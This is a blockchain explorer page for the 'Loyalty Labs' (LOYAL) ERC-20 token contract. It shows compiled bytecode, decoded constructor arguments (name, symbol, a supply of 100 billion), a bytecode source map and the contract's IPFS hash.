3565b5b5f611fce85828601611ced565b9250506020611fdf85828601611ced565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061202d57607f821691505b6020821081036120405761203f611fe9565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e65725f82015250565b5f61207a602083611c03565b915061208582612046565b602082019050919050565b5f6020820190508181035f8301526120a78161206e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6120e582611d01565b91506120f083611d01565b9250828201905080821115612108576121076120ae565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612168602583611c03565b91506121738261210e565b604082019050919050565b5f6020820190508181035f8301526121958161215c565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e5f8201527f206f7220657175616c20746f2031000000000000000000000000000000000000602082015250565b5f6121f6602e83611c03565b91506122018261219c565b604082019050919050565b5f6020820190508181035f830152612223816121ea565b9050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612284602683611c03565b915061228f8261222a565b604082019050919050565b5f6020820190508181035f8301526122b181612278565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612312602483611c03565b915061231d826122b8565b604082019050919050565b5f6020820190508181035f83015261233f81612306565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6123a0602283611c03565b91506123ab82612346565b604082019050919050565b5f6020820190508181035f8301526123cd81612394565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612408601d83611c03565b9150612413826123d4565b602082019050919050565b5f6020820190508181035f830152612435816123fc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612496602583611c03565b91506124a18261243c565b604082019050919050565b5f6020820190508181035f8301526124c38161248a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612524602383611c03565b915061252f826124ca565b604082019050919050565b5f6020820190508181035f83015261255181612518565b9050919050565b7f45524332303a207472616e7366657220416d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6125b2602683611c03565b91506125bd82612558565b604082019050919050565b5f6020820190508181035f8301526125df816125a6565b9050919050565b5f6125f082611d01565b91506125fb83611d01565b9250828203905081811115612613576126126120ae565b5b92915050565b5f61262382611d01565b915061262e83611d01565b925082820261263c81611d01565b91508282048414831517612653576126526120ae565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61269182611d01565b915061269c83611d01565b9250826126ac576126ab61265a565b5b82820490509291505056fea2646970667358221220cb6a68c36cd5db20db127ea37a8a96680f0bb7ff284194e3bd81129905795f9164736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000174876e800000000000000000000000000000000000000000000000000000000000000000c4c6f79616c7479204c616273000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054c4f59414c000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Loyalty Labs
Arg [1] : symbol_ (string): LOYAL
Arg [2] : totalSupply_ (uint256): 100000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000000000000000000000000000000000174876e800
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [4] : 4c6f79616c7479204c6162730000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 4c4f59414c000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12392:6353:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9774:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10355:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15894:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12671:51;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10086:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15773:113;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18054:288;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15203:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9988:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10561:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15311:94;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12729:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15641:122;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15072:121;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12546:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;818:103;;;:::i;:::-;;9879:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10807:438;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17745:299;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;592:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15429:196;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10199:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;929:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9774:91;9819:13;9852:5;9845:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9774:91;:::o;10355:192::-;10429:4;10446:13;10462:12;:10;:12::i;:::-;10446:28;;10485:32;10494:5;10501:7;10510:6;10485:8;:32::i;:::-;10535:4;10528:11;;;10355:192;;;;:::o;15894:125::-;15969:4;741:12;:10;:12::i;:::-;731:22;;:6;;;;;;;;;;;:22;;;723:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15993:8:::1;:18;16002:8;15993:18;;;;;;;;;;;;;;;;;;;;;;;;;15986:25;;15894:125:::0;;;:::o;12671:51::-;;;:::o;10086:99::-;10138:7;10165:12;;10158:19;;10086:99;:::o;15773:113::-;741:12;:10;:12::i;:::-;731:22;;:6;;;;;;;;;;;:22;;;723:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15872:6:::1;15851:8;:18;15860:8;15851:18;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;15773:113:::0;;:::o;18054:288::-;18176:4;18193:15;18211:12;:10;:12::i;:::-;18193:30;;18236:38;18252:4;18258:7;18267:6;18236:15;:38::i;:::-;18285:27;18295:4;18301:2;18305:6;18285:9;:27::i;:::-;18330:4;18323:11;;;18054:288;;;;;:::o;15203:98::-;741:12;:10;:12::i;:::-;731:22;;:6;;;;;;;;;;;:22;;;723:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15285:8:::1;15269:13;;:24;;;;;;;;;;;;;;;;;;15203:98:::0;:::o;9988:84::-;10037:5;10062:2;10055:9;;9988:84;:::o;10561:240::-;10649:4;10666:13;10682:12;:10;:12::i;:::-;10666:28;;10705:66;10714:5;10721:7;10760:10;10730:11;:18;10742:5;10730:18;;;;;;;;;;;;;;;:27;10749:7;10730:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;10705:8;:66::i;:::-;10789:4;10782:11;;;10561:240;;;;:::o;15311:94::-;741:12;:10;:12::i;:::-;731:22;;:6;;;;;;;;;;;:22;;;723:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15391:6:::1;15372:16;:25;;;;15311:94:::0;:::o;12729:28::-;;;;;;;;;;;;;:::o;15641:122::-;15711:7;741:12;:10;:12::i;:::-;731:22;;:6;;;;;;;;;;;:22;;;723:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15738:7:::1;:17;15746:8;15738:17;;;;;;;;;;;;;;;;15731:24;;15641:122:::0;;;:::o;15072:121::-;15143:4;741:12;:10;:12::i;:::-;731:22;;:6;;;;;;;;;;;:22;;;723:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15167:8:::1;:18;15176:8;15167:18;;;;;;;;;;;;;;;;;;;;;;;;;15160:25;;15072:121:::0;;;:::o;12546:118::-;12611:7;12638:9;:18;12648:7;12638:18;;;;;;;;;;;;;;;;12631:25;;12546:118;;;:::o;818:103::-;741:12;:10;:12::i;:::-;731:22;;:6;;;;;;;;;;;:22;;;723:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;883:30:::1;910:1;883:18;:30::i;:::-;818:103::o:0;9879:95::-;9926:13;9959:7;9952:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9879:95;:::o;10807:438::-;10900:4;10917:13;10933:12;:10;:12::i;:::-;10917:28;;10956:24;10983:11;:18;10995:5;10983:18;;;;;;;;;;;;;;;:27;11002:7;10983:27;;;;;;;;;;;;;;;;10956:54;;11049:15;11029:16;:35;;11021:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;11142:60;11151:5;11158:7;11186:15;11167:16;:34;11142:8;:60::i;:::-;11233:4;11226:11;;;;10807:438;;;;:::o;17745:299::-;17815:4;17832:13;17848:12;:10;:12::i;:::-;17832:28;;17894:4;17875:23;;:8;:15;17884:5;17875:15;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;17871:105;;17932:6;17915:9;:13;17925:2;17915:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;17960:4;17953:11;;;;;17871:105;17986:28;17996:5;18003:2;18007:6;17986:9;:28::i;:::-;18032:4;18025:11;;;17745:299;;;;;:::o;592:91::-;638:7;592:91;:::o;15429:196::-;741:12;:10;:12::i;:::-;731:22;;:6;;;;;;;;;;;:22;;;723:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15528:1:::1;15518:6;:11;;15510:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;15611:6;15591:7;:17;15599:8;15591:17;;;;;;;;;;;;;;;:26;;;;15429:196:::0;;:::o;10199:142::-;10279:7;10306:11;:18;10318:5;10306:18;;;;;;;;;;;;;;;:27;10325:7;10306:27;;;;;;;;;;;;;;;;10299:34;;10199:142;;;;:::o;929:201::-;741:12;:10;:12::i;:::-;731:22;;:6;;;;;;;;;;;:22;;;723:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1038:1:::1;1018:22;;:8;:22;;::::0;1010:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1094:28;1113:8;1094:18;:28::i;:::-;929:201:::0;:::o;136:98::-;189:7;216:10;209:17;;136:98;:::o;11259:380::-;11412:1;11395:19;;:5;:19;;;11387:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11493:1;11474:21;;:7;:21;;;11466:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11577:6;11547:11;:18;11559:5;11547:18;;;;;;;;;;;;;;;:27;11566:7;11547:27;;;;;;;;;;;;;;;:36;;;;11615:7;11599:32;;11608:5;11599:32;;;11624:6;11599:32;;;;;;:::i;:::-;;;;;;;;11259:380;;;:::o;11653:453::-;11788:24;11815:25;11825:5;11832:7;11815:9;:25::i;:::-;11788:52;;11875:17;11855:16;:37;11851:248;;11937:6;11917:16;:26;;11909:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12021:51;12030:5;12037:7;12065:6;12046:16;:25;12021:8;:51::i;:::-;11851:248;11777:329;11653:453;;;:::o;16175:1562::-;16323:1;16307:18;;:4;:18;;;16299:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16400:1;16386:16;;:2;:16;;;16378:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16455:19;16477:9;:15;16487:4;16477:15;;;;;;;;;;;;;;;;16455:37;;16526:7;16511:11;:22;;16503:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;16589:7;16599:4;16589:14;;16620:27;16638:4;16644:2;16620:17;:27::i;:::-;16616:70;;;16669:5;16664:10;;16616:70;16696:23;16740:2;16736:515;;;16759:17;16824:1;16799:27;;:13;;;;;;;;;;;:27;;;16795:282;;16857:13;;;;;;;;;;;16851:19;;:2;:19;;;16847:98;;16909:16;;16897:28;;16847:98;16975:13;;;;;;;;;;;16967:21;;:4;:21;;;16963:99;;17027:15;;17015:27;;16963:99;16795:282;17111:1;17095:7;:13;17103:4;17095:13;;;;;;;;;;;;;;;;:17;17091:83;;;17145:7;:13;17153:4;17145:13;;;;;;;;;;;;;;;;17133:25;;17091:83;17208:31;17235:3;17208:22;17220:9;17208:7;:11;;:22;;;;:::i;:::-;:26;;:31;;;;:::i;:::-;17190:49;;16744:507;16736:515;17287:1;17269:15;:19;17265:256;;;17323:36;17343:15;17323:9;:15;17333:4;17323:15;;;;;;;;;;;;;;;;:19;;:36;;;;:::i;:::-;17305:9;:15;17315:4;17305:15;;;;;;;;;;;;;;;:54;;;;17400:44;17428:15;17400:9;:23;15017:42;17400:23;;;;;;;;;;;;;;;;:27;;:44;;;;:::i;:::-;17374:9;:23;15017:42;17374:23;;;;;;;;;;;;;;;:70;;;;15017:42;17464:45;;17473:4;17464:45;;;17493:15;17464:45;;;;;;:::i;:::-;;;;;;;;17265:256;17551:46;17581:15;17571:7;:25;;;;:::i;:::-;17551:9;:15;17561:4;17551:15;;;;;;;;;;;;;;;;:19;;:46;;;;:::i;:::-;17533:9;:15;17543:4;17533:15;;;;;;;;;;;;;;;:64;;;;17624:44;17652:15;17642:7;:25;;;;:::i;:::-;17624:9;:13;17634:2;17624:13;;;;;;;;;;;;;;;;:17;;:44;;;;:::i;:::-;17608:9;:13;17618:2;17608:13;;;;;;;;;;;;;;;:60;;;;17699:2;17684:45;;17693:4;17684:45;;;17713:15;17703:7;:25;;;;:::i;:::-;17684:45;;;;;;:::i;:::-;;;;;;;;16288:1449;;;16175:1562;;;:::o;1138:191::-;1212:16;1231:6;;;;;;;;;;;1212:25;;1257:8;1248:6;;:17;;;;;;;;;;;;;;;;;;1312:8;1281:40;;1302:8;1281:40;;;;;;;;;;;;1201:128;1138:191;:::o;16027:138::-;16103:4;16127:8;:14;16136:4;16127:14;;;;;;;;;;;;;;;;;;;;;;;;;:30;;;;16145:8;:12;16154:2;16145:12;;;;;;;;;;;;;;;;;;;;;;;;;16127:30;16120:37;;16027:138;;;;:::o;2707:98::-;2765:7;2796:1;2792;:5;;;;:::i;:::-;2785:12;;2707:98;;;;:::o;2813:::-;2871:7;2902:1;2898;:5;;;;:::i;:::-;2891:12;;2813:98;;;;:::o;2601:::-;2659:7;2690:1;2686;:5;;;;:::i;:::-;2679:12;;2601:98;;;;:::o;2495:::-;2553:7;2584:1;2580;:5;;;;:::i;:::-;2573:12;;2495:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:60::-;3809:3;3830:5;3823:12;;3781:60;;;:::o;3847:142::-;3897:9;3930:53;3948:34;3957:24;3975:5;3957:24;:::i;:::-;3948:34;:::i;:::-;3930:53;:::i;:::-;3917:66;;3847:142;;;:::o;3995:126::-;4045:9;4078:37;4109:5;4078:37;:::i;:::-;4065:50;;3995:126;;;:::o;4127:152::-;4203:9;4236:37;4267:5;4236:37;:::i;:::-;4223:50;;4127:152;;;:::o;4285:183::-;4398:63;4455:5;4398:63;:::i;:::-;4393:3;4386:76;4285:183;;:::o;4474:274::-;4593:4;4631:2;4620:9;4616:18;4608:26;;4644:97;4738:1;4727:9;4723:17;4714:6;4644:97;:::i;:::-;4474:274;;;;:::o;4754:118::-;4841:24;4859:5;4841:24;:::i;:::-;4836:3;4829:37;4754:118;;:::o;4878:222::-;4971:4;5009:2;4998:9;4994:18;4986:26;;5022:71;5090:1;5079:9;5075:17;5066:6;5022:71;:::i;:::-;4878:222;;;;:::o;5106:116::-;5176:21;5191:5;5176:21;:::i;:::-;5169:5;5166:32;5156:60;;5212:1;5209;5202:12;5156:60;5106:116;:::o;5228:133::-;5271:5;5309:6;5296:20;5287:29;;5325:30;5349:5;5325:30;:::i;:::-;5228:133;;;;:::o;5367:468::-;5432:6;5440;5489:2;5477:9;5468:7;5464:23;5460:32;5457:119;;;5495:79;;:::i;:::-;5457:119;5615:1;5640:53;5685:7;5676:6;5665:9;5661:22;5640:53;:::i;:::-;5630:63;;5586:117;5742:2;5768:50;5810:7;5801:6;5790:9;5786:22;5768:50;:::i;:::-;5758:60;;5713:115;5367:468;;;;;:::o;5841:619::-;5918:6;5926;5934;5983:2;5971:9;5962:7;5958:23;5954:32;5951:119;;;5989:79;;:::i;:::-;5951:119;6109:1;6134:53;6179:7;6170:6;6159:9;6155:22;6134:53;:::i;:::-;6124:63;;6080:117;6236:2;6262:53;6307:7;6298:6;6287:9;6283:22;6262:53;:::i;:::-;6252:63;;6207:118;6364:2;6390:53;6435:7;6426:6;6415:9;6411:22;6390:53;:::i;:::-;6380:63;;6335:118;5841:619;;;;;:::o;6466:86::-;6501:7;6541:4;6534:5;6530:16;6519:27;;6466:86;;;:::o;6558:112::-;6641:22;6657:5;6641:22;:::i;:::-;6636:3;6629:35;6558:112;;:::o;6676:214::-;6765:4;6803:2;6792:9;6788:18;6780:26;;6816:67;6880:1;6869:9;6865:17;6856:6;6816:67;:::i;:::-;6676:214;;;;:::o;6896:329::-;6955:6;7004:2;6992:9;6983:7;6979:23;6975:32;6972:119;;;7010:79;;:::i;:::-;6972:119;7130:1;7155:53;7200:7;7191:6;7180:9;7176:22;7155:53;:::i;:::-;7145:63;;7101:117;6896:329;;;;:::o;7231:118::-;7318:24;7336:5;7318:24;:::i;:::-;7313:3;7306:37;7231:118;;:::o;7355:222::-;7448:4;7486:2;7475:9;7471:18;7463:26;;7499:71;7567:1;7556:9;7552:17;7543:6;7499:71;:::i;:::-;7355:222;;;;:::o;7583:474::-;7651:6;7659;7708:2;7696:9;7687:7;7683:23;7679:32;7676:119;;;7714:79;;:::i;:::-;7676:119;7834:1;7859:53;7904:7;7895:6;7884:9;7880:22;7859:53;:::i;:::-;7849:63;;7805:117;7961:2;7987:53;8032:7;8023:6;8012:9;8008:22;7987:53;:::i;:::-;7977:63;;7932:118;7583:474;;;;;:::o;8063:180::-;8111:77;8108:1;8101:88;8208:4;8205:1;8198:15;8232:4;8229:1;8222:15;8249:320;8293:6;8330:1;8324:4;8320:12;8310:22;;8377:1;8371:4;8367:12;8398:18;8388:81;;8454:4;8446:6;8442:17;8432:27;;8388:81;8516:2;8508:6;8505:14;8485:18;8482:38;8479:84;;8535:18;;:::i;:::-;8479:84;8300:269;8249:320;;;:::o;8575:182::-;8715:34;8711:1;8703:6;8699:14;8692:58;8575:182;:::o;8763:366::-;8905:3;8926:67;8990:2;8985:3;8926:67;:::i;:::-;8919:74;;9002:93;9091:3;9002:93;:::i;:::-;9120:2;9115:3;9111:12;9104:19;;8763:366;;;:::o;9135:419::-;9301:4;9339:2;9328:9;9324:18;9316:26;;9388:9;9382:4;9378:20;9374:1;9363:9;9359:17;9352:47;9416:131;9542:4;9416:131;:::i;:::-;9408:139;;9135:419;;;:::o;9560:180::-;9608:77;9605:1;9598:88;9705:4;9702:1;9695:15;9729:4;9726:1;9719:15;9746:191;9786:3;9805:20;9823:1;9805:20;:::i;:::-;9800:25;;9839:20;9857:1;9839:20;:::i;:::-;9834:25;;9882:1;9879;9875:9;9868:16;;9903:3;9900:1;9897:10;9894:36;;;9910:18;;:::i;:::-;9894:36;9746:191;;;;:::o;9943:224::-;10083:34;10079:1;10071:6;10067:14;10060:58;10152:7;10147:2;10139:6;10135:15;10128:32;9943:224;:::o;10173:366::-;10315:3;10336:67;10400:2;10395:3;10336:67;:::i;:::-;10329:74;;10412:93;10501:3;10412:93;:::i;:::-;10530:2;10525:3;10521:12;10514:19;;10173:366;;;:::o;10545:419::-;10711:4;10749:2;10738:9;10734:18;10726:26;;10798:9;10792:4;10788:20;10784:1;10773:9;10769:17;10762:47;10826:131;10952:4;10826:131;:::i;:::-;10818:139;;10545:419;;;:::o;10970:233::-;11110:34;11106:1;11098:6;11094:14;11087:58;11179:16;11174:2;11166:6;11162:15;11155:41;10970:233;:::o;11209:366::-;11351:3;11372:67;11436:2;11431:3;11372:67;:::i;:::-;11365:74;;11448:93;11537:3;11448:93;:::i;:::-;11566:2;11561:3;11557:12;11550:19;;11209:366;;;:::o;11581:419::-;11747:4;11785:2;11774:9;11770:18;11762:26;;11834:9;11828:4;11824:20;11820:1;11809:9;11805:17;11798:47;11862:131;11988:4;11862:131;:::i;:::-;11854:139;;11581:419;;;:::o;12006:225::-;12146:34;12142:1;12134:6;12130:14;12123:58;12215:8;12210:2;12202:6;12198:15;12191:33;12006:225;:::o;12237:366::-;12379:3;12400:67;12464:2;12459:3;12400:67;:::i;:::-;12393:74;;12476:93;12565:3;12476:93;:::i;:::-;12594:2;12589:3;12585:12;12578:19;;12237:366;;;:::o;12609:419::-;12775:4;12813:2;12802:9;12798:18;12790:26;;12862:9;12856:4;12852:20;12848:1;12837:9;12833:17;12826:47;12890:131;13016:4;12890:131;:::i;:::-;12882:139;;12609:419;;;:::o;13034:223::-;13174:34;13170:1;13162:6;13158:14;13151:58;13243:6;13238:2;13230:6;13226:15;13219:31;13034:223;:::o;13263:366::-;13405:3;13426:67;13490:2;13485:3;13426:67;:::i;:::-;13419:74;;13502:93;13591:3;13502:93;:::i;:::-;13620:2;13615:3;13611:12;13604:19;;13263:366;;;:::o;13635:419::-;13801:4;13839:2;13828:9;13824:18;13816:26;;13888:9;13882:4;13878:20;13874:1;13863:9;13859:17;13852:47;13916:131;14042:4;13916:131;:::i;:::-;13908:139;;13635:419;;;:::o;14060:221::-;14200:34;14196:1;14188:6;14184:14;14177:58;14269:4;14264:2;14256:6;14252:15;14245:29;14060:221;:::o;14287:366::-;14429:3;14450:67;14514:2;14509:3;14450:67;:::i;:::-;14443:74;;14526:93;14615:3;14526:93;:::i;:::-;14644:2;14639:3;14635:12;14628:19;;14287:366;;;:::o;14659:419::-;14825:4;14863:2;14852:9;14848:18;14840:26;;14912:9;14906:4;14902:20;14898:1;14887:9;14883:17;14876:47;14940:131;15066:4;14940:131;:::i;:::-;14932:139;;14659:419;;;:::o;15084:179::-;15224:31;15220:1;15212:6;15208:14;15201:55;15084:179;:::o;15269:366::-;15411:3;15432:67;15496:2;15491:3;15432:67;:::i;:::-;15425:74;;15508:93;15597:3;15508:93;:::i;:::-;15626:2;15621:3;15617:12;15610:19;;15269:366;;;:::o;15641:419::-;15807:4;15845:2;15834:9;15830:18;15822:26;;15894:9;15888:4;15884:20;15880:1;15869:9;15865:17;15858:47;15922:131;16048:4;15922:131;:::i;:::-;15914:139;;15641:419;;;:::o;16066:224::-;16206:34;16202:1;16194:6;16190:14;16183:58;16275:7;16270:2;16262:6;16258:15;16251:32;16066:224;:::o;16296:366::-;16438:3;16459:67;16523:2;16518:3;16459:67;:::i;:::-;16452:74;;16535:93;16624:3;16535:93;:::i;:::-;16653:2;16648:3;16644:12;16637:19;;16296:366;;;:::o;16668:419::-;16834:4;16872:2;16861:9;16857:18;16849:26;;16921:9;16915:4;16911:20;16907:1;16896:9;16892:17;16885:47;16949:131;17075:4;16949:131;:::i;:::-;16941:139;;16668:419;;;:::o;17093:222::-;17233:34;17229:1;17221:6;17217:14;17210:58;17302:5;17297:2;17289:6;17285:15;17278:30;17093:222;:::o;17321:366::-;17463:3;17484:67;17548:2;17543:3;17484:67;:::i;:::-;17477:74;;17560:93;17649:3;17560:93;:::i;:::-;17678:2;17673:3;17669:12;17662:19;;17321:366;;;:::o;17693:419::-;17859:4;17897:2;17886:9;17882:18;17874:26;;17946:9;17940:4;17936:20;17932:1;17921:9;17917:17;17910:47;17974:131;18100:4;17974:131;:::i;:::-;17966:139;;17693:419;;;:::o;18118:225::-;18258:34;18254:1;18246:6;18242:14;18235:58;18327:8;18322:2;18314:6;18310:15;18303:33;18118:225;:::o;18349:366::-;18491:3;18512:67;18576:2;18571:3;18512:67;:::i;:::-;18505:74;;18588:93;18677:3;18588:93;:::i;:::-;18706:2;18701:3;18697:12;18690:19;;18349:366;;;:::o;18721:419::-;18887:4;18925:2;18914:9;18910:18;18902:26;;18974:9;18968:4;18964:20;18960:1;18949:9;18945:17;18938:47;19002:131;19128:4;19002:131;:::i;:::-;18994:139;;18721:419;;;:::o;19146:194::-;19186:4;19206:20;19224:1;19206:20;:::i;:::-;19201:25;;19240:20;19258:1;19240:20;:::i;:::-;19235:25;;19284:1;19281;19277:9;19269:17;;19308:1;19302:4;19299:11;19296:37;;;19313:18;;:::i;:::-;19296:37;19146:194;;;;:::o;19346:410::-;19386:7;19409:20;19427:1;19409:20;:::i;:::-;19404:25;;19443:20;19461:1;19443:20;:::i;:::-;19438:25;;19498:1;19495;19491:9;19520:30;19538:11;19520:30;:::i;:::-;19509:41;;19699:1;19690:7;19686:15;19683:1;19680:22;19660:1;19653:9;19633:83;19610:139;;19729:18;;:::i;:::-;19610:139;19394:362;19346:410;;;;:::o;19762:180::-;19810:77;19807:1;19800:88;19907:4;19904:1;19897:15;19931:4;19928:1;19921:15;19948:185;19988:1;20005:20;20023:1;20005:20;:::i;:::-;20000:25;;20039:20;20057:1;20039:20;:::i;:::-;20034:25;;20078:1;20068:35;;20083:18;;:::i;:::-;20068:35;20125:1;20122;20118:9;20113:14;;19948:185;;;;:::o

Swarm Source

ipfs://cb6a68c36cd5db20db127ea37a8a96680f0bb7ff284194e3bd81129905795f91
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.